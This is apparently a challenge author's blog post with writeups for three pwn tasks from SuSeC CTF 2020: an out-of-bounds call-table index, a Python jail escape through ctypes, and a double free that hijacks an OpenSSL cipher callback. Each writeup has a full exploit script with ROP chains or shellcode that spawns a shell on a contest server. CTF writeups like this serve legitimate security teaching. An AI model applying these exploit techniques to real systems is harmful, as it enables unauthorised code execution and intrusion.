CTFするぞ

CTF以外のことも書くよ

SuSeC CTF 2020 Pwn Writeups

SuSeC CTF 2020 had been held from 15th March 06:30 UTC for 36 hours. I wrote 3 pwn tasks for this CTF. (I don't know of any other tasks.) The tasks and solvers are available here:

bitbucket.org

I hope you enjoyed my pwn challenges :)

[182pts] Unary (20 solves)

Overview

Original Title: unary
File: libc-2.27.so, unary

We can apply an unary to our inputs.

$ ./unary 
0. EXIT
1. x++
2. x--
3. ~x
4. -x
Operator: 1
x = 123
f(x) = 124

PIE, SSP and RELRO are disabled.

$ checksec -f unary
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   77 Symbols     Yes      2               2       unary

Plan

Vulnerability

The vulnerability is very simple. It has Out-Of-Bound error on the menu index.

$ ./unary 
0. EXIT
1. x++
2. x--
3. ~x
4. -x
Operator: 5
x = 123
Segmentation fault (コアダンプ)

This is where the vulnerability exists.

mov     rdi, r14
call    read_int
sub     ebx, 1
movsxd  rbx, ebx
mov     rsi, r13
mov     edi, eax
call    qword ptr [r12+rbx*8]

The first argument is our input, and the second argument (r13) is the pointer to a local variable to store the result.

Leaking libc base

We can easily leak the libc address since PIE is disabled. Using the OOB, we can call puts as negative indexes are also allowed. By passing the address of puts@got as the first argument, puts@plt(puts@got); will be called. This leaks the pointer to the puts function.

Getting the shell

How can we get the shell though?

My intended solution is use scanf in order to cause the Stack Overflow. Thanks to the read_int function, we have "%s" string in the binary. So, we can cause a simple stack overflow by calling scanf@plt with the address of %s set as the first argument.

Since the second argument is the pointer to a local buffer, this will cause

scanf("%s", &result);

which in turn causes a stack overflow. We can just write a simple rop chain to spawn the shell.

Exploit

from ptrlib import *

def call(index, arg):
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter("= ", str(arg))
    return

def ofs(addr):
    return (addr - elf.symbol('ope')) // 8 + 1

libc = ELF("../distfiles/libc-2.27.so")
elf = ELF("../distfiles/unary")
#sock = Process("../distfiles/unary")
sock = Socket("66.172.27.144", 9004)

# libc leak
call(ofs(elf.got('puts')), elf.got('puts'))
libc_base = u64(sock.recvline()) - libc.symbol('puts')
logger.info("libc = " + hex(libc_base))

rop_ret = libc_base + 0x000008aa
rop_pop_rdi = libc_base + 0x0002155f
rop_pop3 = 0x004008ae

# prepare rop chain
ofs_scanf = ofs(elf.got('__isoc99_scanf'))
ofs_format = 0x400000 + next(elf.find("%s"))
payload  = b'A' * (4 + 0x28)
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol('system'))
call(ofs_scanf, ofs_format)
sock.sendline(payload)

# get the shell!
sock.sendlineafter(": ", "0")

sock.interactive()

[394pts] Jailbreak (4 solves)

Overview

Original Title: datsugoku
File: Dockerfile, libregex.so, server.py

It's a Python jail escape challenge. Actually it was my first time that I made a jail escape challenge.

First of all, the code must follow a regex.

[-a-zA-Z0-9,\\.\\(\\)]+$

So, we can't use some useful characters such as _.

Next, we have a blacklist and a whitelist.

# code blacklist
blacklist = [
    'eval', 'exec', 'setattr', 'system', 'open'
]
# built-in whitelist
whitelist = [
    'print', 'eval', 'input', 'int', 'str', 'isinstance', 'setattr',
    '__build_class__', 'Exception', 'KeyError'
]

Our input MUST NOT include a word in the blacklist but we MAY use some functions listed in the whitelist. Other useful built-in functions are deleted by the following piece of code.

for name in dir(__builtins__):
    if name not in whitelist:
        del __builtins__.__dict__[name]

Finally our input is evaled.

def run_code():
    code = input('code: ')
    check_code(code)
    eval(code)

Plan

It uses a regex library instead of the default re module in Python.

libregex = ctypes.CDLL('./libregex.so')
match = libregex.re_match
match.restype = ctypes.c_int
match.argtypes = [ctypes.c_char_p, ctypes.c_char_p]

Since eval succeeds the modules loaded in the caller by default, we can use ctypes in our code. ctypes is very strong in the point that we can

  • load a library and call its functions
  • control pointers and registers

My intended solution is load libc, mmap an executable region, write a shellcode and execute it.

Exploit

We can feed our input by input function. However, I wrote an ascii shellcode because Python input won't accept some characters which can't be decoded in UTF-8.

from ptrlib import *

sock = Socket("66.172.27.144", 9002)

sc = "ASYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA"
payload = "ctypes.cast(ctypes.cdll.LoadLibrary(input()).mmap(0x40000,4096,0b111,0x22,-1,0),ctypes.CFUNCTYPE(int))(ctypes.memmove(0x40000,input().encode(),{}))".format(len(sc))
sock.sendlineafter(": ", payload)
sock.sendline("/lib/x86_64-linux-gnu/libc-2.27.so")
sock.sendline(sc)

sock.interactive()

[500pts] Credentials (1 solve)

Overview

Original Title: credmgr
File: credmgr, libc.so.6, libcrypto.so.1.1

We're asked to set an encryption key and IV. After that we can store username/password and delete it.

$ ./credmgr 
Key: secret key
IV: secret IV
1. New credential
2. Delete credential
x. Exit
> 1
Username: ptr 
Password: hogehoge
1. New credential
2. Delete credential
x. Exit
> 2

Although the username is simply stored in the heap, the password is encrypted with AES-128-CBC.

PIE, SSP, RELRO are disabled.

$ checksec -f ../distfiles/credmgr
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   89 Symbols     No       0               6       ../distfiles/credmgr

Plan

Vulnerability

If cred is not null, new_cred frees cred, cred->username and cred->password first. Also, if the given username is empty, it'll abort the function and returns to the menu. The function, however, doesn't free cred and cred->username even if it aborts before allocating cred->password.

So, cred->password is kept old and we can free it by del_cred. This causes Double Free in cred->password.

A notice is the sizes of cred->password, cred->username and ctx are same: 0xa0-byte.

EVP_CIPHER_CTX

EVP_CIPHER_CTX (=evp_cipher_st) has a member named cipher, which is of EVP_CIPHER (=evp_cipher_st). It's defined like this:

struct evp_cipher_st
    {
    int nid;
    int block_size;
    int key_len;        /* Default value for variable length ciphers */
    int iv_len;
    unsigned long flags;    /* Various flags */
    int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key,
            const unsigned char *iv, int enc);    /* init key */
    int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out,
             const unsigned char *in, size_t inl);/* encrypt/decrypt data */
    int (*cleanup)(EVP_CIPHER_CTX *); /* cleanup ctx */
    int ctx_size;        /* how big ctx->cipher_data needs to be */
    int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); /* Populate a ASN1_TYPE with parameters */
    int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); /* Get parameters from a ASN1_TYPE */
    int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr); /* Miscellaneous operations */
    void *app_data;        /* Application data */
    } /* EVP_CIPHER */;

If we can forge ctx->cipher to a fake evp_cipher_st object, we can get RIP by changing the cleanup function pointer.

Since we have double free and PIE is disabled, we can do it by preparing the fake object in key and iv. After the cred->password double free, we partially overwrite the fd and then write the pointer of key, which actually will overwrite ctx->cipher as well.

Getting the shell

So, we can forge ctx->cipher but what should we do next?

When ctx->cipher->cleanup is called, rdi points to ctx->cipher (=key), rsi points to a local variable on the stack and rdx is the buffer address for encryption. So, if we call input function, it'll cause the following call:

input(key, stack, buf);

This is valid and we can cause Stack Overflow inside the cipher function since SSP is disabled and rsi points to the stack!

We just need to write a simple rop chain to leak the libc address and get the shell by using a technique such as rop stager. I used ret2csu because there's no pop rdx gadget.

Exploit

from ptrlib import *
import time

def add(username, password=None):
    sock.sendlineafter("> ", "1")
    sock.sendafter(": ", username)
    if username == b'\n' or username == '\n': return b''
    sock.sendafter(": ", password)
    return recv_cipher()
def delete():
    sock.sendlineafter("> ", "2")
    return
def update_user(username):
    sock.sendlineafter("> ", "3")
    sock.sendafter(": ", username)
    return
def update_pass(password):
    sock.sendlineafter("> ", "4")
    sock.sendafter(": ", password)
    return recv_cipher()
def recv_cipher():
    return b''
    output = b''
    while True:
        line = sock.recvline()
        if b'credential' in line: break
        output += bytes.fromhex(bytes2str(line.replace(b' ', b'')))
    return output

libc = ELF("../distfiles/libc.so.6")
elf = ELF("../distfiles/credmgr")
#sock = Process("../distfiles/credmgr")
sock = Socket("66.172.27.144", 9001)
rop_pop_rdi = 0x00400f33
rop_csu_popper = 0x400f2a
rop_csu_caller = 0x400f10
rop_leave_ret = 0x00400c22
addr_stage2 = elf.section('.bss') + 0x400

# Set Key and IV
payload  = p32(0x1a3) + p32(0x10)
payload += p32(0x10)  + p32(0x10)
payload += b'\x02'
sock.sendafter("Key: ", payload)
payload = p64(elf.symbol('input')) # ctx->cipher->cleanup
sock.sendafter("IV: ", payload)

# ROP
add("user", "pass")
add("\n")
delete()
add("\x30", p64(elf.symbol('key'))) # 0x30 --> fake fd
sock.recv()
payload  = b'A' * 0xa0 # secret
payload += p64(0)
payload += p64(0)      # ctx
payload += p64(0)      # saved rbp
payload += p64(rop_pop_rdi)
payload += p64(elf.got('read'))
payload += p64(elf.symbol('print')) # print(read@got)
payload += p64(rop_csu_popper)
payload += flat([
    p64(0), p64(1),
    p64(elf.got('read')),
    p64(0),           # r13 == edi
    p64(addr_stage2), # r14 == rsi
    p64(0x100),       # r15 == rdx
])
payload += p64(rop_csu_caller)      # read(0, addr_stage2, 0x100)
payload += p64(0xdeadbeef)
payload += flat([
    p64(0), p64(addr_stage2 - 8), p64(0), p64(0), p64(0), p64(0)
])
payload += p64(rop_leave_ret)
sock.send(payload)

# libc leak
libc_base = u64(sock.recv()) - libc.symbol('read')
if libc_base < 0x7f0000000000:
    logger.error("Bad luck!")
    exit()
logger.info("libc = " + hex(libc_base))

# get the shell!
payload  = p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find('/bin/sh')))
payload += p64(libc_base + libc.symbol('system'))
sock.send(payload)

sock.interactive()

Yay!

$ python solve.py 
[+] __init__: Successfully connected to 66.172.27.144:9001
[+] <module>: libc = 0x7f90fcbf1000
[ptrlib]$ id
[ptrlib]$ uid=999(pwn) gid=999(pwn) groups=999(pwn)